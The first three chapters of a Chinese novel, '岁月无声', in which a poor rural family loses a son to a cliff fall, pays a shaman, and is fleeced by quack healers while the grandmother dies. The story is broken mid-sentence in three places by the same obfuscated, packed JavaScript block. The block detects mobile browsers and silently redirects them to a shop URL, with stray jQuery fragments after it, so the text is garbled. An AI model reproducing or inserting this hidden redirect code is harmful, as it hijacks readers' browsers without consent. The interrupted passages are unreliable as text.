《岁月无声》
1. 第 1 章
那天早上,哥哥像往常一样上山砍柴,直到太阳快要落山都没回家。母亲让父亲和我去他常砍柴的山上寻找,可直到夜幕降临,仍未发现他的踪迹。我们摸黑回家,叫上母亲、爷爷奶奶和几位热心邻居,带上手电筒继续搜寻。月亮升起时,终于在近百米高的悬崖下找到了他的遗体——那时他已全身冰凉、四肢僵直,肚皮和胸腔被崖上的树枝划破,肠子断成数段挂在错落的枝桠间,内脏散落在崖下的草丛里。
母亲撕心裂肺地尖叫一声后昏迷不醒;奶奶惊呼后嚎啕大哭;爷爷嘴唇颤抖,老泪纵横;父亲低头沉默,泪流满面。清冷月光下,我望着哥哥空荡荡的腹腔,手足无措。邻居们先是一阵惊悚的骚动,随即陷入震惊的愕然。良久,父亲和爷爷含着泪开始收拾遗体。在奶奶的请求下,邻居们互相壮胆,借着手电筒的微光,哆嗦着合力收集挂在树枝上的肠子和散落的内脏:零碎的用我和父亲脱下的衣服包起,完整的由我和爷爷奶奶用手捧着。父亲、母亲和邻居们轮换着背哥哥的遗体回家。踏着苍茫月光走进山村时,已是万籁俱寂的午夜,天地间一片冰冷悲戚,夜风呜呜地吹,阴暗角落里的几条狗睡眼惺忪地起身,不分青红皂白地汪汪直叫。
哥哥的遗体用草席垫着,仰面放在小屋中央。奶奶哽咽着俯身清理他身上的草芥和红泥,再用潮湿的破布擦去脸上、手脚上积年的污垢。清凉的秋风穿过破烂木窗和尘封的蛛丝,轻轻吹动哥哥干枯发黄的头发,让我错觉他只是静静睡着。
游荡在墙角的黑猫,用泛着幽绿光芒的眼睛勾魂般看了会儿遗体,又抬头瞥了奶奶一眼,随即踩翻一只落满尘土的破碗,一溜烟窜进墙缝,消失在深邃的黑暗里。
母亲蜷缩在地上,像个木偶。她眼睛大睁,目光迟缓呆滞,呆呆盯着脚尖,头低低垂着,大颗泪珠从红肿的眼眶滚落,滴在胸前衣襟上,流过煞白的嘴唇。
爷爷从水缸舀出半盆水,缓缓把用衣服包回、双手捧回的肠子和内脏放进盆里洗净,混着自己的大滴眼泪,重新塞回哥哥空空的腹腔与胸腔。
邻居们逐一安慰道别,默默回家。
村里公鸡第一遍打鸣时,母亲颤巍巍挣扎站起,脸色惨白,摇晃着走到双眼浮肿、呆若木鸡的父亲面前,用嘶哑凄凉的声音说:“该去通知本家的大伯、二伯,再托人叫老六的几个姐姐来见最后一面,顺便帮忙操办后事。”
“前几天还好好的,怎么突然就走了?”敞着外衣纽扣、左手抱水烟筒的本家大伯闻讯赶来,一边诧异自语,一边靠泥墙根坐下,轰隆隆猛抽几口水烟,接着不停咳嗽,大口吐着泛黄的浓痰。
“是不是在山上就断气了?要是这样,魂魄还留在山上!得赶紧在门口烧些纸钱,再去大寨村请李神婆把魂叫回来。”一向懂传统礼节的二婶建议。
本家二伯撇撇嘴,斜睨着守在遗体旁抽搐的母亲,又瞟了眼蹲在墙角发呆的父亲,眼角肌肉跳动着,似安慰似庆幸地叹息:“这个时辰走,在那边也能做个饱死鬼!也好,总比活着受苦受累强!”
“这全都是命“这都是命中注定啊!阎王爷让你二更走,绝对不会留你到三更。”二婶继续一副深谙传统规矩的样子说道。
当屋檐下的公鸡三三两两踱到晒麦场上觅食时,父亲和爷爷奶奶的泪水似乎已彻底流尽。他们神情恍惚地静静看着悲痛欲绝的母亲,用针线将哥哥敞开的肚皮与胸腔缝合,又看着母亲和王氏本家的大伯二伯一起,用草席把哥哥的遗体裹好,依旧横放在小屋中央。随后大伯和二伯退到墙角,轮换着抽起水烟筒;母亲则呜咽着跪坐在裹着哥哥遗体的草席旁。二婶已动身前往大寨村去请李神婆来帮忙叫魂,等李神婆把哥哥的魂魄叫回来,大伯和二伯就会把遗体扛到山上挖坑埋葬,哥哥也就走完了他短暂而充满苦难的一生。我望着草席里的哥哥,只觉得这一切都像一场梦——过几天,哥哥依然会用粗糙的手抚摸我的脸,依然会用卖柴火换来的钱给我买饼干,依然会把我扛在肩上,让我掏鸟窝。
太阳升上屋顶时,我家门口聚了不少村民。前来围观的老人们背着孙子孙女在门口来回走动,不住摇晃着背上哭泣的孩子。有的争相议论着哥哥生前的种种事迹,有的则提前帮哥哥呼唤着仍在山上游荡的魂魄:“老六啊!你快点回来吧!下辈子可别再投胎到这个地方了!一定要选个不缺水、土地肥沃、交通便利的好地方投胎啊!”
呜咽了一夜的母亲和奶奶,不断把纸钱冥币放在哥哥的遗体旁焚烧。红红的火光爬上了破烂发霉的门框,升上了布满蛛丝的屋檐,照亮了裹着哥哥遗体的草席,也映在了李神婆的眼睛里。
李神婆嘴里默念咒语,捧着香火围着哥哥的遗体转了三圈,随后停下来朝门口鞠了一躬,在遗体四周安放好香火,又在装着玉米粒的碗里立起一个鸡蛋,还在一碗水里慢慢竖好了三根筷子。准备工作完成后,李神婆面朝哥哥坠崖的方向,盘腿静静坐在门口,聚精会神地盯着眼前燃烧的香火,缓缓闭上眼睛,低下头翕动着嘴唇,仿佛又在默念什么咒语。她全身一动不动,保持着盘腿的姿势,数分钟后,忽然浑身激烈颤抖起来,猛地抬起头,眼睛里闪着亮光,看着父亲和母亲,模糊不清、断断续续地念叨:“我——是——山——神,想要——让我——放你儿子的魂魄回来,必须要——给我烧三天的纸钱冥币,‘头七’后还要——给我送一个猪头。”
母亲赶紧拉着我和父亲跪下,双手作揖,用沙哑的声音说:“保福保佑的山神啊,感谢您能把我儿子的魂魄放回来!我一定给您烧纸钱冥币,等老六‘头七’过后,一定给您敬贡一个猪头。”
母亲说完,拉着我和父亲继续低头跪着,等候山神通过李神婆传达进一步的指示。
一旁的奶奶红着眼睛看着李神婆,谨慎地低声问道:“我孙子是被人故意推下悬崖,还是自己失足摔下去的?”
李神婆浑身又打了个激灵,迷迷糊糊、断断续续地接着念叨:“没有人故意推——他,是——他上辈子——作的孽太多,被阎王爷——提前带走的。要想把他上辈子的孽障——清除干净,你们——就请现在跪着的这个李神婆,帮他——斋戒三天,还要让她代为烧三天的纸钱冥币和香火。”
“你们——还有什么要问的吗?没有的话,我就要——开始画神符,请‘黑白无常’带他的魂魄回来了!”李神婆继续用颤抖而模糊的声音念叨。
跪在一旁的父亲,毕恭毕敬地把早已准备好的一张黄纸和半碗红色墨水放在李神婆身前。李神婆瞬间停止了颤抖,摇晃着脑袋,“哇啦哇啦”“叽叽咕咕”地不知又念了些什么咒语,接着用食指蘸着红色墨水在黄纸上画了些歪歪斜斜的图案,随后浑身又打了个大大的激灵,头再次缓缓垂了下去。又过了一会儿,李神婆长长打了个哈欠,仿佛十分疲惫地抬起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334291|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,眼睛里满是朦胧的睡意,有气无力地沉声说:“山神已经走了。你们就赶紧按照山神的意思去做吧!”
李神婆的身体仿佛已变得虚弱无比,哆哆嗦嗦,摇摇晃晃,需搀扶着二婶的手才能勉强站立。费力起身之后,她又随手在直立于玉米粒碗中的鸡蛋上,画了些横七竖八的图案,还吩咐母亲将鸡蛋煮熟,送到哥哥摔下的悬崖处,供“黑白无常”享用。临走时,在二婶的搀扶下,她又烧了些纸钱冥币,点了几炷香火,向父亲收取了3.6元的请山神费、3.6元的叫魂费,以及16元的三天斋戒费与香火费,这才拖着疲惫不堪的身体,由二婶小心翼翼地搀扶着离开。
李神婆与二婶走出门时,还不忘回头严肃叮嘱母亲:“你家老六是个短命鬼!不必请风水先生送葬超度,直接扛到山上埋进土里就好!”
中午时分,王氏本家的大伯和二伯,一同将包裹着哥哥遗体的草席用绳子捆扎得像粽子一般,然后一前一后把遗体扛在肩上。我和父亲、母亲、爷爷奶奶,还有听闻噩耗匆匆赶来的出嫁姐姐们,跟在后面撒着圆形纸钱冥币,哭着将哥哥送到山上一块相对平整的空地,放进邻居们早已挖好的浅浅土坑中。我静静看着哥哥被一铲一铲的红土从脚部慢慢覆盖到头部,直到遗体上堆起一座小小的土丘。
母亲和姐姐们围着隆起的小土丘,仍在不停地呜咽、嚎啕,只是母亲已流不出眼泪。
母亲趴在小土丘上哭泣抽搐到傍晚,在姐姐们的强行拖拽下,才万般不舍地回了家。
那天夜里,我坐在墙角哥哥常坐的石块上,悲伤地望着家里熟悉的一切。往日昏暗狭窄的小屋,仿佛忽然变大了许多,也空旷了许多,大到无边无际,空到让我满心凄凉。那时6岁的我,第一次感受到命运的残忍与悲苦,第一次体会到生命的脆弱与珍贵,第一次懂得了人间无奈的悲欢离合。
次日,二婶来家里帮忙收拾哥哥生前的物件。她在屋内来回走动,喃喃自语地重复着:“这全都是命中注定啊!老六出生在这种地方,是上辈子造了冤孽这辈子受罚啊!我们也都是苦命的上辈子作孽人啊!这些物件等‘头七’时,一起烧给他吧!”
我轻轻走到母亲身边,看着她满脸的皱纹,怀着一丝不切实际的希望,好奇地问:“‘头七’是什么?哥哥为什么会有‘头七’,‘头七’是不是他复活的日子?”
母亲没有回答,二婶没有回答,墙角的父亲与爷爷奶奶也没有回答。
母亲静静地斜倚在沾满泥土的门槛上,双目像金鱼眼睛般凸显出来,布满紫红色的血丝。头无精打采地耷拉在门的一侧,凌乱的白发遮住了她半边憔悴的脸。僵直的身体一动不动,仿佛一只溺水的蚂蚁,孤单无助地寄身于一片枯叶之上,在无边的痛苦与绝望中追思她失去的孩子。
哥哥入土为安后,母亲一夜之间苍老了许多,花白的头发变得全白,精神萎靡,双目黯淡无光。每到闲暇的黄昏,她总会斜靠在门口的土墙上,极目眺望埋葬哥哥的地方,任冰冷的晚风吹过苍老的脸庞,任黑夜的铁幕缓缓降临人间。
数周之后,或许是悲伤过度,母亲的视力严重下降,看东西模糊不清,四肢莫名绵软无力,加上风湿关节炎愈发严重,走路起身都十分困难。但无论刮风下雨、寒来暑往,她依然会时常独自斜靠在门口的土墙上,朝着埋葬哥哥的方向,无限眷念地用意念“凝视”。
2. 第 2 章
我小学升初中那年,父亲说他老了,母亲和爷爷奶奶身体也不好,让我在家跟着他干农活,不能再继续读书了。
初一开学后的第二天,母亲把父亲支开,悄悄告诉我,家里酱菜缸下面有块破布,里面包着30多元钱,让我自己取12元去交学费。当我顺利拿到12元跑出村口时,回头看到怒气冲冲的父亲在后面快速追来。60岁的父亲气喘吁吁地远远被我甩在后面,最终没能追上阻止我。
上初一的第一个周末,当我再次回到家时,父亲的目光里满是怒火。尽管爷爷奶奶一再劝说,他还是拿起一根赶牛的鞭子朝我走来。一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334292|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旁的母亲说:“他已经快和你一样高了。”父亲扬起的鞭子,终究没有像往常那样落下来。他似乎有些迟疑,愤怒的火焰也渐渐黯淡下去。
如今回想起来,其实那天我赢得并不光彩,甚至有些大逆不道。那时的我自私又狭隘,甚至有些卑微,母亲却堪称伟大!
3. 第 3 章
我上初二那年的六月前后,奶奶突然没日没夜地咳嗽起来。吃了很多止咳药都不见好转,反而随着时间推移越来越严重。因为我是家里唯一识字、懂算账的人,所以一直等到我放暑假,爷爷才敢带着奶奶和我去鲁亮县城的医院看病。
奶奶向县城里穿白大褂的医生仔细描述了症状——咳嗽的剧烈程度、持续时间,还有她虽服用过各种止咳药,却丝毫不见康复迹象,症状反而愈发严重。医生听完后,表情严肃凝重,皱着眉拿起胸前的听诊器,在奶奶肺部反复认真听诊,几次抬头看着奶奶欲言又止,低头沉默了好一会儿,才转头看看爷爷和我,摇着头意味深长地说:“如果家里经济条件允许,你们可以带她去云南省城昆明的大医院做个全面检查,她的病我们这里无能为力了。”
爷爷带上父亲向村长、大伯和二伯借来的200元,加上家里攒的300多元。父亲再次赶着马车把我们送到鲁亮县城,然后一路打听,辗转坐了好几趟客车,耗时两天才找到昆明市的一家大医院,在医院对面找了家小旅馆住下。第二天,奶奶拖着虚弱的身体,佝偻着腰,脸颊和额头挂满汗珠,在我和爷爷的搀扶下,在拥挤的医院里排队挂号、看医生,反复排队交费、做检查。第三天,我们继续排队挂号、看医生,反复交费和检查。直到第四天下午,我和爷爷拿着一沓化验单、一沓CT片,搀扶着奶奶走进已经换过三次的诊疗室。医生逐一看完检查单和CT片后,眉头紧锁,神色凝重,挥手让我带奶奶到走廊等候,单独告诉爷爷奶奶的病情。
爷爷从诊疗室出来时,脸色惨白,一言不发,只是默默流泪,头低低地垂到胸前,失落地走到我们身边,用沙哑的声音轻声说:“我们回旅馆住一晚,明天回家吧。”
那天晚上,爷爷在旅馆一夜没睡,背对着我们坐在窗前,呆呆地看着马路上来来往往的车辆,不停地叹气,用衣袖擦着不断流下的眼泪。奶奶看着爷爷沉默的背影,没有追问自己的病情。自从一个月前咳嗽不止,她经常在半夜疼得死去活来,痛苦挣扎,冷汗浸透衣襟,有时蜷缩在地上滚来滚去,不停呻吟、抽搐,让爷爷用鞋底或榔头用力捶打她的腰和腿。或许奶奶对自己的病早已心知肚明,不抱太多康复的希望;或许病痛的反复折磨让她放下一切,看透一切,生无可恋。
从医生看检查结果时的神情变化,还有爷爷从诊疗室出来后的一举一动,我大概能猜到奶奶得的是无法医治的绝症。所以那一夜,我虽然困乏疲惫,却在失望沮丧的悲伤中一夜未眠。这是我第一次觉得黑夜如此漫长难熬,黎明的脚步那样沉重蹒跚。心中挥之不去的不安与不祥,仿佛门外走廊尽头的黑暗里,有双阎王爷的眼睛在窥视着我们,时刻等着把奶奶从我们身边带走。我在焦躁不安、诚惶诚恐中盼着黎明到来,希望阳光能快点爬上窗户,驱散天地间的黑暗,早一点照亮旅馆的每一个角落。因为光明就像奶□□顶的守护神,既能减轻她深入骨髓的痛苦,也能缓解我和爷爷心头的酸楚,更能驱散阎王爷和他身边的“黑白无常”,让奶奶远离“头七”的阴影。
马路边昏黄的路灯终于熄灭了,天,也终于缓缓亮了起来。
小旅馆里住的都是来医院看病的病人和家属。他们每天重复着排队挂号、检查、问诊、治疗、取药的流程,便拖着疲惫不堪的身体回到旅馆。病人各自默默躺回冰凉的床上,在虚脱与悲伤中静静等待陪伴自己看病的亲人下楼,买一碗皮蛋瘦肉粥或一份简单的快餐盒饭回来,勉强挣扎着吃上几口,然后继续在暗无天日的痛苦中昏睡过去。而陪伴他们的亲人,往往只能买几个白馒头或路边烤熟的土豆,埋头将刷刷流下的眼泪当作清水或汤汁,一起咽进饥肠辘辘的肚子里。一旦他们身上东拼西凑借来的、卖家里东西换来的仅有钱财在医院耗光,便只能含着眼泪离开旅馆回到老家,病人唯一的去处就是躺在屋子中央的草席上,最后在煎熬与绝望中凄惨地走向生命的终点。
爷爷和隔壁房间的张大爷一起下楼买皮蛋瘦肉粥时,张大爷舔了舔干瘪的嘴唇,低声向爷爷大吐苦水,悲凉地感叹:“现在这世道!也许只有有钱人才有资格把病彻底治好,像我们这样的穷苦老百姓,谁能有这么多精力和金钱,在医院这个‘销金库’里一直耗下去。”
爷爷也跟着叹息,随声附和:“是啊!他们不仅有花不完的时间,更有足够的医疗费用支撑。可我们穷苦老百姓,一旦生病往往只能硬扛,实在扛不住了才敢住进医院,但在医院这个‘销金库’里,绝大部分人用不了多久就借无可借、卖无可卖,最后只能眼睁睁看着亲人把命搭进去,一了百了。”
爷爷缓缓走上楼,侧着脸低头把粥递到奶奶皮包骨的手里。他不敢抬头正视奶奶的眼睛,怕看见她无助与绝望的眼神,眼泪会立刻像断了线的珠子,从布满皱纹的脸颊滚落。
爷爷把粥递给奶奶,转过身时,面部的经脉一阵抽搐扭曲,眼皮不停地跳动,端着碗的手快速缩回到衣袖里,快步走到走廊尽头厕所门后的水龙头前,用冷水洗了洗泛着油光的苍黄脸庞,顺手抬起衣袖擦了擦,然后站在厕所门口沉思片刻,重新回到房间,端起奶奶吃剩的大半碗皮蛋瘦肉粥,蹲在墙角,机械地使劲吞咽起来。
在喧嚣嘈杂的汽笛声中,我和爷爷奶奶挤上了像装满沙丁鱼罐头的公交车。公交车收音机里的军事节目主持人正和车上几名军事爱好者一起,分析讨论数年前发生在中东科威特、以美国为首的联盟军队与伊拉克军队之间的海湾战争。
“美帝国主义这帮孙子,全世界到处霸凌惹事,要是今后霸凌到我们家门口,我们不得不开战,我捐一个月工资。”一个身穿黑色西装、白色衬衫、打着红色领带、戴着金丝眼镜的中年男人,愤愤地对身边同伴说。
“我去!只要能把这帮孙子打趴下、打服了,我捐两个月工资!哪怕三个月或者半年也行!”一个留着板寸的健壮男青年挺起结实的胸脯,展示出硕大的胸肌,用鼻孔对着戴金丝眼镜的中年男人,不甘示弱地提高嗓门说。
“我把这两年攒的全部工资,还有父母留给我结婚备用的钱都捐了。”一个身穿蓝色夹克的青年扯开嗓门,毫不犹豫、中气十足地大声说。
“我愿意捐出这条命!”一个手拿《钢铁是怎样炼成的》、标枪般昂首挺胸站立的魁梧男青年,语气坚定、义无反顾,表情严肃而庄重地插话,喘着粗气说。
爷爷把奶奶揽在怀里,一点点被挤到公交车最后面的角落,动弹不得。我也被挤得像壁虎一样紧紧贴在车窗上,听着身旁几位男人犹如在拍卖现场般慷慨激昂地竞相陈词。我隐隐觉得美帝国主义到处霸凌惹事,还欺负到我们门口,好像确实应该被打,也暗暗佩服这几个男人的无私、正义、正直与勇敢。只是我转念一想:“有战争就会有流血牺牲,多少人会因此付出生命的代价?又会让多少白发苍苍的母亲在伤心欲绝中寻找孩子,永远思念孩子?”
伴随着尖锐而冗长的“嘎吱”刹车声,公交车停靠在路边站台。一个一直拼命挤搡爷爷奶奶的男人,快步走下了车。当公交车再次平稳行驶时,爷爷忽然焦急地在身上四处摸索,随即对周围人惊呼:“谁偷了我的100多元钱!这可是我们的救命钱啊!”
戴金丝眼镜的中年男人看着满脸憔悴、衣衫褴褛的爷爷,绘声绘色地用手比划着说:“老大爷,偷您钱的人刚才已经下车了。我看见他们用一把这么长的镊子,往您左边裤兜里悄悄夹了好几次才把钱夹走。”
“一开始是用手术刀割,后来才用镊子夹的。这么近的距离,就在我眼皮底下,我看得一清二楚。”留着板寸头的肌肉男人看着爷爷被割破的裤兜,语气坚决而肯定地反驳道。
“那个人穿黑色夹克、灰色裤子、灰色运动休闲鞋,身高1米6左右,右手腕上纹着一只黑红相间的蜘蛛。”拿着《钢铁是怎样炼成的》的魁梧男人眼中闪着得意的光,微笑着与穿蓝色夹克的青年一起,十分笃定地补充道。
“怎么这么不小心啊!刚上车时我就看出那个人不对劲,所以我的包一直紧紧抱在身前。”左手臂戴着“创文明城市志愿者”袖标的大妈幸灾乐祸地斜睨着爷爷奶奶,语气中带着几分不屑。
“这个贼经常在这个时间点坐这路车,没人比我更清楚他了。出门在外要保管好财物,别指望天下到处都有佛光普照。”公交车司机回头看了一眼爷爷奶奶,善意地提醒道。
“这世道啊,真是一年不如一年。哪像我们六七十年代小时候,哪怕随身背一麻袋钱坐公交,也没人敢偷、没人敢抢。”一位白发苍苍的老者忧心忡忡地缅怀着过去,长叹一声感慨道。
“这种小毛贼,就算今天报警抓进去关起来,没多久也会刑满释放,照样天天靠偷盗过活。出门在外,只有事事小心、处处留意,照顾好自己才是硬道理。”一位仿佛饱经沧桑的中年大叔以过来人的姿态谆谆教诲,做了总结性的发言。
我和爷爷奶奶到达昆明东部汽车客运站时身无分文,无助地站在终点站的站台上,看着来来往往的行人,茫然不知所措。爷爷思索了许久,突然牵着奶奶的手,缓缓跪在站台上乞讨起来,而我呆呆瘫坐在一旁,泪如雨下。
那天下午,我向从昆明开往鲁亮县城的大巴车车主兼司机刘师傅再三说明情况、再三恳求、再三保证会还清车费,当晚我们才得以乘上刘师傅的大巴车,顺利返回鲁亮县城,在县城街边阴暗的角落里度过了饥饿难耐的一夜。
第二天早上,我和爷爷轮流背着奶奶走一段、搀扶着她慢慢走一段,一路乞讨食物,走走停停,费尽千辛万苦才回到村里。
回家后的第三天,听邻村的小学教师说,西医治标不治本,只有博大精深、传承千年的中医才能标本兼治,既能彻底治愈疾病又无副作用。他建议我们再去鲁亮县城找一位姓温的老中医诊治——这位温老中医已70多岁,专治各种疑难杂症,许多顽疾都能药到病除。凡是西医治不好的病,他都有办法医治,据说曾治愈过不少西医认定的绝症患者,连被称为“万病之王”的癌症他都能从容应对,十分神奇,令人叹为观止。
介绍我们找温老中医的小学教师叫王国荣,以前只是附近村一所小学的“民办代课教师”,月薪只有十几元微薄收入,但几年后便成功转为“公办人民教师”,正式进入国家统一的教师编制,薪水自然也水涨船高,一个月能拿到三百多元,收入瞬间翻了十几倍。转为“公办人民教师”后,没几年他就成了我们村及周边几个村的首富。他一年的收入,比村里十几户种地村民全年的收入加起来还要多,因此在村里说话自然很有分量。每当有村民羡慕他衣食无忧、老有所依时,他总会不厌其烦地解释:“我是为国家做贡献的人民教师,教书育人,生是国家的人,死是国家的鬼,老了自然该靠国家养老。不像你们现在要自食其力、自负盈亏,但往后还能靠土地、靠儿子养老。”
当时在我们村及附近十几个村,只要能成为为人民服务、为国家做贡献的人,就算端上了不愁吃穿的铁饭碗。不仅自身的衣食住行、生老病死不用愁,连不少家属也因此过上了让村民羡慕的好日子。
王国荣有个儿子叫王玉坤,是我初中和高中的同学。他比我幸运得多,不仅衣食无忧、无忧无虑,能全身心投入学习,而且在初高中毕业升学考试时,因为父亲是高寒山区的“公办人民教师”,还能额外获得二十分的特殊加分——这意味着如果我们报考同一所学校,他的录取分数线相当于比我低二十分。
凭着王国荣在我们村及周边十几个村庄的地位和威望,爷爷对他的话深信不疑。于是母亲向舅舅、姨妈等娘家亲戚东拼西凑借了三百元,父亲再次赶着马车,匆匆把我和爷爷奶奶送到鲁亮县城。
王国荣介绍的温氏老中医,在鲁亮县第一人民医院旁边的一条小巷里。中医馆虽不大,挂号费却贵得惊人:普通医院的挂号费一般在五毛到两元不等,这位老中医的挂号费却要整整六十六元。
中医讲究天人合一与辨证论治,遵循阴阳平衡的转化规律和金木水火土的五行学说。中医通常不需要现代科学仪器辅助检查诊断,只需通过望闻问切——观察病人的外表气色,聆听声息吐纳,询问症状感受,最后触摸脉搏。有些高明的老中医甚至不用直接接触病人手腕就能精准把脉:他们用一根丝线固定在病人手腕的脉搏处,脉搏的震动通过丝线传递过来,老中医仅凭丝线另一端的轻微震动就能准确诊断病情,这就是“悬丝诊脉”。
温氏老中医身穿青布长衫,花白的胡须垂到胸口,指甲留了三到五厘米长。他不时用余光观察我和爷爷的举动,仔细听着我们的每一句话,同时留意奶奶眼神和表情的细微变化。他先严肃地听完奶奶描述的症状和感受,再神情凝重地把留着长指甲的手指轻轻搭在奶奶枯瘦的手腕上,皱着眉认真把了一阵脉,又让奶奶伸出舌头查看,最后不紧不慢地沉声说:“病不要紧,在我这里保证能治好,先开五服我们温家的祖传中药秘方。吃完这五服后,再根据病情来找我继续诊疗。”说完便在一张草纸上,慢慢写下五个我完全看不懂字迹的药方。
爷爷到交费窗□□了一百六十六元药费,我拿着小票去摆满抽屉的中药房取药。不一会儿,一位穿黑布长衫、同样留着花白长胡须的中药师,把称量好的五服中药用纸袋装好放在柜台上,叮嘱我和爷爷:每一服中药都不能直接加凉水煎煮,煎煮前或过程中加入的必须是滚烫的开水;每天早中晚各服一次,每服中药可分两天服用六次,每次喝半碗汤汁即可。他抬头看了我们一眼,继续讲解煎煮中药需要的“药引子”,还递过一张纸,上面写着每一服中药对应的不同药引子:第一服是五年以上的竹叶三片;第二服是三十年以上的桃树皮一两;第三服是长在十字路口花椒树上的红色毛毛虫两条;第四服的药引子是黄杨木燃烧后的灰烬一勺;第五服中药的药引子则是一对常年生活在同一洞穴的成年蟑螂,且必须一公一母。
父亲驾着马车载我们回家后,爷爷与父母便整日分头奔波,四处寻找中药所需的药引子,他们都对奶奶的康复满怀希望。可等到五服中药全部服完,奶奶的病情不仅毫无好转,反而加重了许多,咳嗽时还常带血丝。
父亲与母亲再次四处求人,东拼西凑借来了两百元钱。父亲又驾着马车将我和爷爷奶奶送到鲁亮县城。当我们再次来到温氏老中医馆时,温氏老中医看着脸色蜡黄、连坐椅子都需爷爷搀扶的奶奶,脸色骤然变得阴沉。他满脸疑惑地询问爷爷,上次那五服中药每服药引子的来源。听爷爷一一说完后,老中医脸上立刻浮现怒容,长长地哀叹一声,严厉地说道:“你把两个药引子都弄错了!红色的毛毛虫,你怎么能换成黄色的?还有蟑螂,你既没分公母,也无法确定它们是否来自同一个洞穴。”
爷爷听完,有些惊慌失措,涨红着脸解释:“红色的毛毛虫我实在找不到,而一个洞穴里往往有一群蟑螂,所以……”
“不用说了!本来是药到病除的小病,现在被你弄成了难以根治的大病。我们温氏家族世代相传的声誉,恐怕也要毁在你手里了!老天啊!我们温家上辈子是造了什么孽啊!”老中医怒目圆睁,面容狰狞,仿佛被爷爷气得喘不过气,用手指着爷爷不依不饶地责备。
爷爷低垂着头,身体瑟缩着,连声说对不起,都怪他一时心急才铸成大错。说完,眼泪便像蜘蛛网般在布满皱纹的脸上纵横开来。
“这样吧,你去城南的陶家巷子,那里有我的一位老朋友,他或许能妙手回春,治好她现在的病。经你这么一折腾,我这里已经没法医治了。”温氏老中医看着沉默的爷爷和我,语重心长地建议道。
我和爷爷轮流背着奶奶,一路打听城南陶家巷子的方向,满身是汗地赶到了温氏老中医所说的地方。
温氏老中医推荐的这位老朋友,也是祖传中医世家出身,兼修气功,六十多岁,名叫陶义山,是陶氏祖传中医第二十二代的唯一传人。据说他手中不仅有清朝的宫廷秘方,还有明朝的御医秘方。他通过勤修苦练祖上传下的上乘内功心法,不断服用祖上留下的增功丹药,练就了上百年的“内力气功”修为。他曾用“内力气功”让失明多年的盲人重见光明,让瘫痪多年的人重新行走,甚至让西医判定死亡的人重获新生。
陶义山看病的方式也十分奇特:不问症状,不看舌苔,也不搭脉,只需看病人的面相便知病症。他静静端详奶奶数分钟后,手抚长长的花白胡须,微微点头说,奶奶的病是被污秽之物侵染所致,需先用他修炼的祖传“内力气功”中的“隔山打牛”招式,隔空逼走一部分污秽之物,再用陶氏中医的独门绝技“烟熏大法”熏走剩余的污秽,奶奶的病自然就会痊愈。
他让奶奶坐到靠墙的椅子上,自己走进墙壁后面一间没有窗户的小屋,反锁了门。不一会儿,小屋内传出“咿咿呀呀”的声音,仿佛是在用内力催动气功。随着呼喊声愈发急促,小屋门缝里飘出丝丝白烟。站在奶奶身旁的“内力气功”治疗助理,生怕奶奶被隔墙而来的强大气流推倒,用力按住奶奶坐的椅子,嘴里不时发出惊叹:“哇!陶大师的内力又精进了,‘隔山打牛’的功力越来越强了!”
但站在奶奶身边的我,无论怎么仔细观察,都没看到奶奶的身体有任何异样,也没感觉到身旁有气流经过。
又过了一会儿,小屋的门打开了,陶大师不停擦拭着额头上的汗水,似乎耗费了过多内力,摇摇晃晃地走到爷爷身边,喘息着说:“污秽之物已经被我的气功逼走了一大半,但还没有被彻底清除,还需要购买200元的特制烟熏中草药,继续用‘烟熏大法’熏走剩余部分才能完全康复。”说罢,他又转头关切地看向奶奶,问道:“现在是不是感觉好多了?舒服些了吗?”
奶奶有气无力地垂着头,仿佛在认真思索和回忆,对比着接受“内力气功”治疗前的疼痛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334293|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
程度。
不等奶奶回答,陶义山便接着说道:“为了帮您逼走体内的污秽之物,我耗费的‘内力气功’太过巨大,接下来一个月都不能再发功了。”
爷爷脸上隐隐露出一丝喜悦,爽快地付给陶义山大师200元,再次满怀希望地带着烟熏中草药回了家。这一次,爷爷严格按照陶义山大师的吩咐,每一个烟熏动作和细节都一丝不苟地依次执行。可奶奶每次被烟熏中草药熏过之后,都会咳出大量鲜血——起初是小口吐血,后来竟变成大口狂吐不止。爷爷见状,便不再坚持让奶奶继续使用这种烟熏中草医疗法。
奶奶停止烟熏疗法的第二天清晨,太阳即将跃出地平线时,她忽然说想出去看看日出。父亲小心翼翼地把她抱到屋外,正要将她安置在椅子上,她却不愿坐家里那唯一的一把椅子。她扭头静静望着我,缓缓轻声道:“这把椅子还是留给你以后写作业用吧。我现在坐上去,要是过几天不在了,你以后可能就不敢再坐这把椅子写作业了。说不定我‘头七’的时候,风水先生还会让你们把它烧给我,好让我在阴曹地府用。我现在舍不得坐,就当是给你留个纪念吧。”
